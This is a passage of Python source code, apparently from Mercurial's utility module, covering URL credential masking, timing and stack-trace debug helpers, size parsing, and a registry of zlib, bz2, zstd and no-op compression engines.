     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return str(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 _timenesting = [0]
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         start = timer()
         indent = 2
         _timenesting[0] += indent
         try:
             return func(*args, **kwargs)
         finally:
             elapsed = timer() - start
             _timenesting[0] -= indent
             stderr.write('%s%s: %s\n' %
                          (' ' * _timenesting[0], func.__name__,
                           timecount(elapsed)))
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint('30')
     30
     >>> sizetoint('2.2kb')
     2252
     >>> sizetoint('6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (fn, ln), func)
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=stderr, otherf=stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if safehasattr(map, 'iteritems') and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
 
 # compression code
 
 SERVERROLE = 'server'
 CLIENTROLE = 'client'
 
 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                                (u'name', u'serverpriority',
                                                 u'clientpriority'))
 
 class compressormanager(object):
     """Holds registrations of various compression engines.
 
     This class essentially abstracts the differences between compression
     engines to allow new compression formats to be added easily, possibly from
     extensions.
 
     Compressors are registered against the global instance by calling its
     ``register()`` method.
     """
     def __init__(self):
         self._engines = {}
         # Bundle spec human name to engine name.
         self._bundlenames = {}
         # Internal bundle identifier to engine name.
         self._bundletypes = {}
         # Revlog header to engine name.
         self._revlogheaders = {}
         # Wire proto identifier to engine name.
         self._wiretypes = {}
 
     def __getitem__(self, key):
         return self._engines[key]
 
     def __contains__(self, key):
         return key in self._engines
 
     def __iter__(self):
         return iter(self._engines.keys())
 
     def register(self, engine):
         """Register a compression engine with the manager.
 
         The argument must be a ``compressionengine`` instance.
         """
         if not isinstance(engine, compressionengine):
             raise ValueError(_('argument must be a compressionengine'))
 
         name = engine.name()
 
         if name in self._engines:
             raise error.Abort(_('compression engine %s already registered') %
                               name)
 
         bundleinfo = engine.bundletype()
         if bundleinfo:
             bundlename, bundletype = bundleinfo
 
             if bundlename in self._bundlenames:
                 raise error.Abort(_('bundle name %s already registered') %
                                   bundlename)
             if bundletype in self._bundletypes:
                 raise error.Abort(_('bundle type %s already registered by %s') %
                                   (bundletype, self._bundletypes[bundletype]))
 
             # No external facing name declared.
             if bundlename:
                 self._bundlenames[bundlename] = name
 
             self._bundletypes[bundletype] = name
 
         wiresupport = engine.wireprotosupport()
         if wiresupport:
             wiretype = wiresupport.name
             if wiretype in self._wiretypes:
                 raise error.Abort(_('wire protocol compression %s already '
                                     'registered by %s') %
                                   (wiretype, self._wiretypes[wiretype]))
 
             self._wiretypes[wiretype] = name
 
         revlogheader = engine.revlogheader()
         if revlogheader and revlogheader in self._revlogheaders:
             raise error.Abort(_('revlog header %s already registered by %s') %
                               (revlogheader, self._revlogheaders[revlogheader]))
 
         if revlogheader:
             self._revlogheaders[revlogheader] = name
 
         self._engines[name] = engine
 
     @property
     def supportedbundlenames(self):
         return set(self._bundlenames.keys())
 
     @property
     def supportedbundletypes(self):
         return set(self._bundletypes.keys())
 
     def forbundlename(self, bundlename):
         """Obtain a compression engine registered to a bundle name.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundlenames[bundlename]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forbundletype(self, bundletype):
         """Obtain a compression engine registered to a bundle type.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundletypes[bundletype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def supportedwireengines(self, role, onlyavailable=True):
         """Obtain compression engines that support the wire protocol.
 
         Returns a list of engines in prioritized order, most desired first.
 
         If ``onlyavailable`` is set, filter out engines that can't be
         loaded.
         """
         assert role in (SERVERROLE, CLIENTROLE)
 
         attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
 
         engines = [self._engines[e] for e in self._wiretypes.values()]
         if onlyavailable:
             engines = [e for e in engines if e.available()]
 
         def getkey(e):
             # Sort first by priority, highest first. In case of tie, sort
             # alphabetically. This is arbitrary, but ensures output is
             # stable.
             w = e.wireprotosupport()
             return -1 * getattr(w, attr), w.name
 
         return list(sorted(engines, key=getkey))
 
     def forwiretype(self, wiretype):
         engine = self._engines[self._wiretypes[wiretype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forrevlogheader(self, header):
         """Obtain a compression engine registered to a revlog header.
 
         Will raise KeyError if the revlog header value isn't registered.
         """
         return self._engines[self._revlogheaders[header]]
 
 compengines = compressormanager()
 
 class compressionengine(object):
     """Base class for compression engines.
 
     Compression engines must implement the interface defined by this class.
     """
     def name(self):
         """Returns the name of the compression engine.
 
         This is the key the engine is registered under.
 
         This method must be implemented.
         """
         raise NotImplementedError()
 
     def available(self):
         """Whether the compression engine is available.
 
         The intent of this method is to allow optional compression engines
         that may not be available in all installations (such as engines relying
         on C extensions that may not be present).
         """
         return True
 
     def bundletype(self):
         """Describes bundle identifiers for this engine.
 
         If this compression engine isn't supported for bundles, returns None.
 
         If this engine can be used for bundles, returns a 2-tuple of strings of
         the user-facing "bundle spec" compression name and an internal
         identifier used to denote the compression format within bundles. To
         exclude the name from external usage, set the first element to ``None``.
 
         If bundle compression is supported, the class must also implement
         ``compressstream`` and `decompressorreader``.
 
         The docstring of this method is used in the help system to tell users
         about this engine.
         """
         return None
 
     def wireprotosupport(self):
         """Declare support for this compression format on the wire protocol.
 
         If this compression engine isn't supported for compressing wire
         protocol payloads, returns None.
 
         Otherwise, returns ``compenginewireprotosupport`` with the following
         fields:
 
         * String format identifier
         * Integer priority for the server
         * Integer priority for the client
 
         The integer priorities are used to order the advertisement of format
         support by server and client. The highest integer is advertised
         first. Integers with non-positive values aren't advertised.
 
         The priority values are somewhat arbitrary and only used for default
         ordering. The relative order can be changed via config options.
 
         If wire protocol compression is supported, the class must also implement
         ``compressstream`` and ``decompressorreader``.
         """
         return None
 
     def revlogheader(self):
         """Header added to revlog chunks that identifies this engine.
 
         If this engine can be used to compress revlogs, this method should
         return the bytes used to identify chunks compressed with this engine.
         Else, the method should return ``None`` to indicate it does not
         participate in revlog compression.
         """
         return None
 
     def compressstream(self, it, opts=None):
         """Compress an iterator of chunks.
 
         The method receives an iterator (ideally a generator) of chunks of
         bytes to be compressed. It returns an iterator (ideally a generator)
         of bytes of chunks representing the compressed output.
 
         Optionally accepts an argument defining how to perform compression.
         Each engine treats this argument differently.
         """
         raise NotImplementedError()
 
     def decompressorreader(self, fh):
         """Perform decompression on a file object.
 
         Argument is an object with a ``read(size)`` method that returns
         compressed data. Return value is an object with a ``read(size)`` that
         returns uncompressed data.
         """
         raise NotImplementedError()
 
     def revlogcompressor(self, opts=None):
         """Obtain an object that can be used to compress revlog entries.
 
         The object has a ``compress(data)`` method that compresses binary
         data. This method returns compressed binary data or ``None`` if
         the data could not be compressed (too small, not compressible, etc).
         The returned data should have a header uniquely identifying this
         compression format so decompression can be routed to this engine.
         This header should be identified by the ``revlogheader()`` return
         value.
 
         The object has a ``decompress(data)`` method that decompresses
         data. The method will only be called if ``data`` begins with
         ``revlogheader()``. The method should return the raw, uncompressed
         data or raise a ``RevlogError``.
 
         The object is reusable but is not thread safe.
         """
         raise NotImplementedError()
 
 class _zlibengine(compressionengine):
     def name(self):
         return 'zlib'
 
     def bundletype(self):
         """zlib compression using the DEFLATE algorithm.
 
         All Mercurial clients should support this format. The compression
         algorithm strikes a reasonable balance between compression ratio
         and size.
         """
         return 'gzip', 'GZ'
 
     def wireprotosupport(self):
         return compewireprotosupport('zlib', 20, 20)
 
     def revlogheader(self):
         return 'x'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
 
         z = zlib.compressobj(opts.get('level', -1))
         for chunk in it:
             data = z.compress(chunk)
             # Not all calls to compress emit data. It is cheaper to inspect
             # here than to feed empty chunks through generator.
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = zlib.decompressobj()
             for chunk in filechunkiter(fh):
                 while chunk:
                     # Limit output size to limit memory.
                     yield d.decompress(chunk, 2 ** 18)
                     chunk = d.unconsumed_tail
 
         return chunkbuffer(gen())
 
     class zlibrevlogcompressor(object):
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 44:
                 return None
 
             elif insize <= 1000000:
                 compressed = zlib.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
 
             # zlib makes an internal copy of the input buffer, doubling
             # memory usage for large inputs. So do streaming compression
             # on large inputs.
             else:
                 z = zlib.compressobj()
                 parts = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + 2**20
                     parts.append(z.compress(data[pos:pos2]))
                     pos = pos2
                 parts.append(z.flush())
 
                 if sum(map(len, parts)) < insize:
                     return ''.join(parts)
                 return None
 
         def decompress(self, data):
             try:
                 return zlib.decompress(data)
             except zlib.error as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         return self.zlibrevlogcompressor()
 
 compengines.register(_zlibengine())
 
 class _bz2engine(compressionengine):
     def name(self):
         return 'bz2'
 
     def bundletype(self):
         """An algorithm that produces smaller bundles than ``gzip``.
 
         All Mercurial clients should support this format.
 
         This engine will likely produce smaller bundles than ``gzip`` but
         will be significantly slower, both during compression and
         decompression.
 
         If available, the ``zstd`` engine can yield similar or better
         compression at much higher speeds.
         """
         return 'bzip2', 'BZ'
 
     # We declare a protocol name but don't advertise by default because
     # it is slow.
     def wireprotosupport(self):
         return compewireprotosupport('bzip2', 0, 0)
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         z = bz2.BZ2Compressor(opts.get('level', 9))
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = bz2.BZ2Decompressor()
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_bz2engine())
 
 class _truncatedbz2engine(compressionengine):
     def name(self):
         return 'bz2truncated'
 
     def bundletype(self):
         return None, '_truncatedBZ'
 
     # We don't implement compressstream because it is hackily handled elsewhere.
 
     def decompressorreader(self, fh):
         def gen():
             # The input stream doesn't have the 'BZ' header. So add it back.
             d = bz2.BZ2Decompressor()
             d.decompress('BZ')
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_truncatedbz2engine())
 
 class _noopengine(compressionengine):
     def name(self):
         return 'none'
 
     def bundletype(self):
         """No compression is performed.
 
         Use this compression engine to explicitly disable compression.
         """
         return 'none', 'UN'
 
     # Clients always support uncompressed payloads. Servers don't because
     # unless you are on a fast network, uncompressed payloads can easily
     # saturate your network pipe.
     def wireprotosupport(self):
         return compewireprotosupport('none', 0, 10)
 
     # We don't implement revlogheader because it is handled specially
     # in the revlog class.
 
     def compressstream(self, it, opts=None):
         return it
 
     def decompressorreader(self, fh):
         return fh
 
     class nooprevlogcompressor(object):
         def compress(self, data):
             return None
 
     def revlogcompressor(self, opts=None):
         return self.nooprevlogcompressor()
 
 compengines.register(_noopengine())
 
 class _zstdengine(compressionengine):
     def name(self):
         return 'zstd'
 
     @propertycache
     def _module(self):
         # Not all installs have the zstd module available. So defer importing
         # until first access.
         try:
             from . import zstd
             # Force delayed import.
             zstd.__version__
             return zstd
         except ImportError:
             return None
 
     def available(self):
         return bool(self._module)
 
     def bundletype(self):
         """A modern compression algorithm that is fast and highly flexible.
 
         Only supported by Mercurial 4.1 and newer clients.
 
         With the default settings, zstd compression is both faster and yields
         better compression than ``gzip``. It also frequently yields better
         compression than ``bzip2`` while operating at much higher speeds.
 
         If this engine is available and backwards compatibility is not a
         concern, it is likely the best available engine.
         """
         return 'zstd', 'ZS'
 
     def wireprotosupport(self):
         return compewireprotosupport('zstd', 50, 50)
 
     def revlogheader(self):
         return '\x28'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         # zstd level 3 is almost always significantly faster than zlib
         # while providing no worse compression. It strikes a good balance
         # between speed and compression.
         level = opts.get('level', 3)
 
         zstd = self._module
         z = zstd.ZstdCompressor(level=level).compressobj()
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         zstd = self._module
         dctx = zstd.ZstdDecompressor()
         return chunkbuffer(dctx.read_from(fh))
 
     class zstdrevlogcompressor(object):
         def __init__(self, zstd, level=3):
             # Writing the content size adds a few bytes to the output. However,
             # it allows decompression to be more optimal since we can
             # pre-allocate a buffer to hold the result.
             self._cctx = zstd.ZstdCompressor(level=level,
                                              write_content_size=True)
             self._dctx = zstd.ZstdDecompressor()
             self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
             self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
 
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 50:
                 return None
 
             elif insize <= 1000000:
                 compressed = self._cctx.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
             else:
                 z = self._cctx.compressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._compinsize
                     chunk = z.compress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 chunks.append(z.flush())
 
                 if sum(map(len, chunks)) < insize:
                     return ''.join(chunks)
                 return None
 
         def decompress(self, data):
             insize = len(data)
 
             try:
                 # This was measured to be faster than other streaming
                 # decompressors.
                 dobj = self._dctx.decompressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._decompinsize
                     chunk = dobj.decompress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 # Frame should be exhausted, so no finish() API.
 
                 return ''.join(chunks)
             except Exception as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         opts = opts or {}
         return self.zstdrevlogcompressor(self._module,
                                          level=opts.get('level', 3))
 
 compengines.register(_zstdengine())
 
 def bundlecompressiontopics():
     """Obtains a list of available bundle compressions for use in help."""
     # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
     items = {}
 
     # We need to format the docstring. So use a dummy object/type to hold it
     # rather than mutating the original.
     class docobject(object):
         pass
 
     for name in compengines:
         engine = compengines[name]
 
         if not engine.available():
             continue
 
         bt = engine.bundletype()
         if not bt or not bt[0]:
             continue
 
         doc = pycompat.sysstr('``%s``\n    %s') % (
             bt[0], engine.bundletype.__doc__)
 
         value = docobject()
         value.__doc__ = doc
         value._origdoc = engine.bundletype.__doc__
         value._origfunc = engine.bundletype
 
         items[bt[0]] = value
 
     return items
 
 i18nfunctions = bundlecompressiontopics().values()
 
 # convenient shortcut
 dst = debugstacktrace